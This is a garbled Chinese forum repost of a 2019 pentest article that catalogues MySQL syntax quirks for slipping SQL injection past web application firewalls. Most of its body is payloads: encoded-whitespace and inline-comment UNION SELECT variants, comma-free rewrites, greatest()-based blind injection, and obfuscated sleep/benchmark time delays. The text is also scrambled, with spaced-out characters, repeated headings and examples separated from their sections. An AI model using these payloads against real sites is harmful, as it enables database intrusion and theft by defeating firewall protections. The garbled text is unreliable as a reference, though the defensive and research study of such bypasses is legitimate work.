设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [890] 2019-01-09_WAFBypass数据库特性（Mysql探索篇） ...
返回列表 发新帖
查看: 7|回复: 0

[890] 2019-01-09_WAFBypass数据库特性（Mysql探索篇）

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 7 天前 | 显示全部楼层 |阅读模式
2019-01-09_WAFBypass数据库特性（Mysql探索篇） W A F   B y p a s s 数 据 库 特 性 （ M y s q l 探 索 篇 ） 原 创   B y p a s s   B y p a s s   2 0 1 9 - 0 1 - 0 9 收 录 于 话 题   # W A F 攻 防 实 战 笔 记   , 9 个 0 x 0 1   前 言 前 言 我 们 经 常 利 用 一 些 数 据 库 特 性 来 进 行 W A F 绕 过 。 在 M y s q l 中 ， 比 如 可 以 这 样 ： 内 联 注 释 ：   / * ! 1 2 3 4 5 u n i o n * / s e l e c t M y s q l 黑 魔 法 :   s e l e c t { x   u s e r } f r o m { x   m y s q l . u s e r } ; 换 行 符 绕 过 : % 2 3 % 0 a 、 % 2 d % 2 d % 0 a 一 起 去 探 索 一 下 能 够 绕 过 W A F 防 护 的 数 据 库 特 性 。 0 x 0 2   测 试 测 试 常 见 有 5 个 位 置 即 ：       S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1 【 位 置 一 】 u n i o n 【 位 置 二 】 s e l e c t 【 位 置 三 】 1 , u s e r ( ) 【 位 置 四 】 f r o m 【 位 置 五 】 a d m i n 位 置 一 ： 参 数 和 位 置 一 ： 参 数 和 u n i o n 之 间 的 位 置 之 间 的 位 置 ( 1 ) 常 见 形 式 ： 、 等 形 式 ： ( 2 ) 空 白 字 符 ： M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： ( 3 ) 浮 点 数 形 式   ： 1 . 1 其 他 形 式 如 ： % 1 % 2 e 、 % 2 % 2 e ( 4 ) 1 E 0 的 形 式 ： / * * / / * ! 5 0 0 0 0 u n i o n * / S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n / * * / s e l e c t   1 , u s e r ( )   f r o m   a d m i n % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； i d = 1 % 0 a u n i o n   s e l e c t   1 , u s e r ( )   f r o m   a d m i n 其 他 形 式 如 ： % 1 % 2 0 、 % 3 9 2 0 、 % 4 0 % 2 0 、 % 2 3 % 0 a 、 % 2 d % 2 d % 0 a S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1 . 0 u n i o n   s e l e c t   1 , u s e r ( )   f r o m   a d m i n S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1 . u n i o n   s e l e c t   1 , u s e r ( )   f r o m   a d m i n
( 5 )   N u n i o n 的 形 式 ： 位 置 二 ： 位 置 二 ： u n i o n 和 和 s e l e c t 之 间 的 位 置 之 间 的 位 置 ( 1 ) 空 白 字 符 ( 2 ) 注 释 符 使 用 空 白 注 释 ， M Y S Q L 中 可 以 利 用 的 空 白 字 符 有 ： ( 3 ) 括 号 S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   = 1   u n i o n ( s e l e c t   ' t e s t ' , ( s e l e c t   u s e r ( )   f r o m   a d m i n   l i m i t   0 , 1 ) ) s e l e c t   *   f r o m   a d m i n   u n i o n ( s e l e c t   ' t e s t ' , ( s e l e c t   ' a s d ' ) , ( s e l e c t   u s e r ( )   f r o m   u s e r s   l i m i t   0 , 1 ) ) 位 置 三 ： 位 置 三 ： s e l e c t 和 查 询 参 数 之 间 的 位 置 和 查 询 参 数 之 间 的 位 置 ( 1 ) 空 白 字 符 M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； i d = 1   u n i o n   s e l e c t % 0 9 1 , u s e r ( )   f r o m   a d m i n ( 2 ) 注 释 符 使 用 空 白 注 释 ， M Y S Q L 中 可 以 利 用 的 空 白 字 符 有 ： ( 3 ) 其 他 字 符 % 2 1     ！   叹 号 % 2 b     +     加 号 % 2 d     -     减 号 % 4 0     @     电 子 邮 件 符 号 % 7 e       ~     波 浪 号 S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t ~ 1 , u s e r ( )   f r o m   a d m i n   S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1 E 0 u n i o n   s e l e c t   1 , u s e r ( )   f r o m   a d m i n S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   N u n i o n   s e l e c t   1 , u s e r ( )   f r o m   a d m i n M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； i d = 1   u n i o n % a 0 s e l e c t   1 , u s e r ( )   f r o m   a d m i n / * * /   、 / * a n y t h i n g * / / * * / 、 / * a n y t h i n g * /
( 4 ) 其 他 方 式 ： 括 号 ：     S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t ( 1 ) , u s e r ( )   f r o m   a d m i n   内 联 ：     S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   / ! 1 2 3 4 5 s e l e c t / 1 , u s e r ( )   f r o m   a d m i n   @ 字 符 ： S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t @ , u s e r ( )   f r o m   a d m i n   { 括 号 ： S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   { x   1 } , u s e r ( )   f r o m   a d m i n   引 号 ：   S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t " 1 " , u s e r ( )   f r o m   a d m i n   N ：         S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t N , u s e r ( )   f r o m   a d m i n   位 置 四 ： 查 询 参 数 和 位 置 四 ： 查 询 参 数 和 f r o m 之 间 的 位 置 之 间 的 位 置 ( 1 ) 空 白 字 符 M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； i d = 1   u n i o n   s e l e c t   1 , u s e r ( ) % 0 9 f r o m   a d m i n ( 2 ) 注 释 符 使 用 空 白 注 释 ， M Y S Q L 中 可 以 利 用 的 空 白 字 符 有 ： ( 3 ) 其 他 符 号 波 浪 号 % 6 0 ：   S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n ( s e l e c t   1 , ( s e l e c t   f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A   l i m i t   0 , 1 ) )                                       S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   1 , u s e r ( ) ` f r o m   a d m i n 内 联 注 释 ：   S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n ( s e l e c t   1 , ( s e l e c t / ! s c h e m a _ n a m e / f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A   l i m i t   1 , 1 ) ) { 括 号 ：           S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n ( s e l e c t   1 , ( s e l e c t { x   s c h e m a _ n a m e } f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A   l i m i t   1 , 1 ) ) 括 号 ：             S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n ( s e l e c t   1 , ( s e l e c t ( s c h e m a _ n a m e ) f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A   l i m i t   1 , 1 ) ) 双 引 号 :           S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   1 , u s e r ( ) " " f r o m   a d m i n 1 / * * /   、 / * a n y t h i n g * / s c h e m a _ n a m e
括 号 后 面 加 字 母 ： S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   1 , u s e r ( ) A   f r o m   a d m i n 破 浪 号 加 字 母 ：       S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   1 , u s e r ( ) ` b f r o m   a d m i n   ( 4 ) 浮 点 数 、 1 E 0 的 形 式 、 N 形 式 i d = 1   u n i o n % 0 c s e l e c t   u s e r ( ) , 2 . 0 f r o m   a d m i n S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n s e l e c t   u s e r ( ) , 2 . 0 f r o m   a d m i n S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   u s e r ( ) , 8 e 0 f r o m   a d m i n S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   u s e r ( ) , N f r o m   a d m i n 位 置 五 ： 位 置 五 ： f r o m 后 面 的 位 置 后 面 的 位 置 ( 1 ) 空 白 字 符 M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； i d = 1   u n i o n   s e l e c t   1 , u s e r ( ) % 0 9 f r o m   a d m i n ( 2 ) 注 释 符 使 用 空 白 注 释 ， M Y S Q L 中 可 以 利 用 的 空 白 字 符 有 ： ( 3 ) 其 他 字 符 破 浪 号 ：             i d = 1   u n i o n   s e l e c t   1 , ( s e l e c t ( s c h e m a _ n a m e ) f r o m . S C H E M A T A   l i m i t   0 , 1 ) 内 联 注 释 ：       i d = 1   u n i o n   s e l e c t   1 , ( s e l e c t ( s c h e m a _ n a m e ) f r o m / ! 1 2 3 4 5 i n f o r m a t i o n _ s c h e m a . S C H E M A T A /   l i m i t   0 , 1 ) { 括 号 ：             i d = 1   u n i o n   s e l e c t   1 , ( s e l e c t ( s c h e m a _ n a m e ) f r o m   { x   i n f o r m a t i o n _ s c h e m a . S C H E M A T A }   l i m i t   0 , 1 ) 括 号 ：                 i d = 1   u n i o n   s e l e c t   1 , ( s e l e c t ( s c h e m a _ n a m e ) f r o m ( i n f o r m a t i o n _ s c h e m a . S C H E M A T A )   l i m i t   0 , 1 ) 同 一 个 表 的 情 况 下 ， 大 小 写 字 母 加 数 字 都 可 以 S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   1 , u s e r ( )   f r o m 1 2 3 a s d a d m i n   0 x 0 3   函 数 函 数 类 型 一 ： 常 见 的 过 滤 函 数 类 型 一 ： 常 见 的 过 滤 函 数 ( 1 ) 字 符 串 截 取 函 数 M i d ( v e r s i o n ( ) , 1 , 1 ) S u b s t r ( v e r s i o n ( ) , 1 , 1 ) / * * / 、 / * a n y t h i n g * / i n f o r m a t i o n _ s c h e m a
S u b s t r i n g ( v e r s i o n ( ) , 1 , 1 ) L p a d ( v e r s i o n ( ) , 1 , 1 ) R p a d ( v e r s i o n ( ) , 1 , 1 ) L e f t ( v e r s i o n ( ) , 1 ) r e v e r s e ( r i g h t ( r e v e r s e ( v e r s i o n ( ) ) , 1 ) )   ( 2 ) 字 符 串 连 接 函 数 c o n c a t ( v e r s i o n ( ) , ' | ' , u s e r ( ) ) ; c o n c a t _ w s ( ' | ' , 1 , 2 , 3 ) ( 3 ) 字 符 转 换   A s c i i ( 1 )   此 函 数 之 前 测 试 某 云 w a f 的 时 候 被 过 滤 了 ， 然 后 使 用 a s c i i   ( 1 ) 即 可   C h a r ( 4 9 )   H e x ( ‘ a ’ )   U n h e x ( 6 1 ) 类 型 二 ： 过 滤 了 特 殊 符 号 类 型 二 ： 过 滤 了 特 殊 符 号 ( 1 ) l i m i t 处 的 逗 号 ：   l i m i t   1   o f f s e t   0 ( 2 ) 字 符 串 截 取 处 的 逗 号   m i d 处 的 逗 号 ：   m i d ( v e r s i o n ( )   f r o m   1   f o r   1 ) ( 3 ) u n i o n 处 的 逗 号 ：   通 过 j o i n 拼 接 。 S E L E C T   *   F R O M   a d m i n   W H E R E   u s e r n a m e   =   1   u n i o n   s e l e c t   *   f r o m   ( s e l e c t   1 ) a   j o i n ( s e l e c t { x   s c h e m a _ n a m e }   f r o m   i n f o r m a t i o n _ s c h e m a . S C H E M A T A   l i m i t   1 , 1 ) b   ( 4 ) 操 作 符 < > 被 过 滤 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   a n d   a s c i i ( s u b s t r ( d a t a b a s e ( ) , 0 , 1 ) ) > 6 4 此 时 如 果 比 较 操 作 符 被 过 滤 ， 上 面 的 盲 注 语 句 则 无 法 使 用 , 那 么 就 可 以 使 用 g r e a t e s t 来 代 替 比 较 操 作 符 了 。 g r e a t e s t ( n 1 , n 2 , n 3 , 等 ) 函 数 返 回 输 入 参 数 ( n 1 , n 2 , n 3 , 等 ) 的 最 大 值 。 那 么 上 面 的 这 条 s q l 语 句 可 以 使 用 g r e a t e s t 变 为 如 下 的 子 句 : s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   a n d   g r e a t e s t ( a s c i i ( s u b s t r ( d a t a b a s e ( ) , 0 , 1 ) ) , 6 4 ) = 6 4 总 结 ： 使 用 g r e a t e s t ( ) 绕 过 比 较 操 作 符 。 类 型 三 ： 部 分 函 数 构 造 类 型 三 ： 部 分 函 数 构 造 （ 1 ）   s l e e p ( 5 ) / b e n c h m a r k ( 1 0 0 0 0 0 0 0 , S H A 1 ( 1 ) ) i d = 1   x o r   s l e e p % 2 3 % 0 a ( 5 ) i d = 1   x o r   s l e e p % 2 d % 2 d % 0 a ( 5 ) i d = 1   x o r   s l e e p ( [ % 2 0 ] 5 ) i d = 1   x o r   b e n c h m a r k % 0 a ( 1 0 0 0 0 0 0 0 , S H A 1 ( 1 ) )
  M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； ( 2 ) s e l e c t   { x   1 } 形 式 s e l e c t { x [ 可 填 充 字 符 ] 1 } M y s q l 中 可 以 利 用 的 空 白 字 符 有 ： % 0 9 , % 0 a , % 0 b , % 0 c , % 0 d , % 2 0 , % a 0 ； % 2 1     ！       % 2 b       +               % 2 d       -         % 4 0     @             % 7 e   ~ 0 x 0 4   E N D   本 文 汇 总 了 一 些 常 见 的 M y s q l 数 据 库 特 性 和 特 殊 的 绕 过 函 数 ， 这 是 最 灵 活 多 变 的 一 种 数 据 库 类 型 ， 以 上 这 些 远 远 是 不 够 的 。 比 如 ： 单 单 一 个 内 联 注 释 ， 就 可 以 嵌 套 多 层 ， 变 幻 出 各 种 令 人 诧 异 的 姿 势 。 仅 作 抛 砖 引 玉 之 用 ， 欢 迎 留 言 ， 顺 便 分 享 一 下 你 了 解 的 比 较 有 意 思 的 特 性 。 B y p a s s A b o u t   M e 一 个 网 络 安 全 爱 好 者 ， 对 技 术 有 着 偏 执 狂 一 样 的 追 求 。 致 力 于 分 享 原 创 高 质 量 干 货 ， 包 括 但 不 限 于 ： 渗 透 测 试 、 W A F 绕 过 、 代 码 审 计 、 安 全 运 维 。 i d = 1   x o r   s l e e p [ 空 白 字 符 ] ( 5 )
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:21 , Processed in 0.148063 second(s), 30 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表